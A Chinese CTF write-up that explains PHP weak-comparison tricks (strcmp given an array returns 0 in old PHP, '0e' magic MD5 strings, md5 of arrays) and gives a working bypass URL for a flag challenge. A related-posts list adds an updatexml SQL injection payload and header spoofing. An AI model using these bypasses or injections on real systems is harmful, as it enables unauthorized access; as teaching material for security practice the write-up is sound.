知识储备

strcmp()函数

int strcmp ( string $str1 , string $str2 )

说明

注意该比较区分大小写。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

strcmp二进制安全字符串比较,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

漏洞:当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!!所以可以传入数组让其返回值为0。

这一个漏洞适用与5.3之前版本的php

if判断

<?php
$a=-1;
$b=1
if(!$a or !$b){
    echo "true";
}
?>

无输出。即:!$a为假和$b为假。!0为真。

== 与 ===

php中有两种比较的符号 == 与 === ,=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

== 在进行比较的时候,会先将字符串类型转化成相同,再比较。这里举个例子,为什么下面的结果是true。

var_dump("0e123456"=="0e4456789"); //true

“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

MD5加密

md5()函数无法对数组进行加密。即:加密结果都一样为空。

解题思路

打开题目查看源代码发现存在一个链接code.txt,进入code.txt。发现:

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

绕过payload:http://118.89.219.210:49162/?v1=s1885207154a&v2=s1091221200a&v3[]=1(payload有很多种)

总结

php是门强大的语言,神奇无比。需要继续学习。

如果有误请指出。

  • 2019年上海嘉韦思杯writeup

    1土肥原贤二报错注入 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 然后注表1’ and updatexml(1,concat(0x7e,(select group_co...

    2019年上海嘉韦思杯writeup
  • ctf中web的常见知识点

    本地访问和伪造ipX-Forwarded-For: 127.0.0.1 域名解析可以更改HTTP头部host字段为flag.bugku.com 把 flag.bugku.com 解析到120.24.86.145 直接在 c:\wind...

    ctf中web的常见知识点
  • 2018安恒杯好黑的黑名单

    emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。 尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。...

    2018安恒杯好黑的黑名单
  • insert into 注入

    题目题目连接:http://123.206.87.240:8002/web15/题目提示: flag格式:flag{xxxxxxxxxxxx} 不如写个Python吧 error_reporting(0); function ge...

    insert into 注入
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • hctf2018web

    首先,来说说本次比赛吧。 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解) 发现可测试的地方要通过各种手段进行尝试。 ctf题与真正的漏洞有差距。需要换种思维来考虑问题。 然后,就...

    hctf2018web
  • 护网杯签到题

    首先,护网杯对新手不友好。看题看到绝望!!!全程懵逼状态。好啦不吐槽啦。。。。 进入正题:迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份: 首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup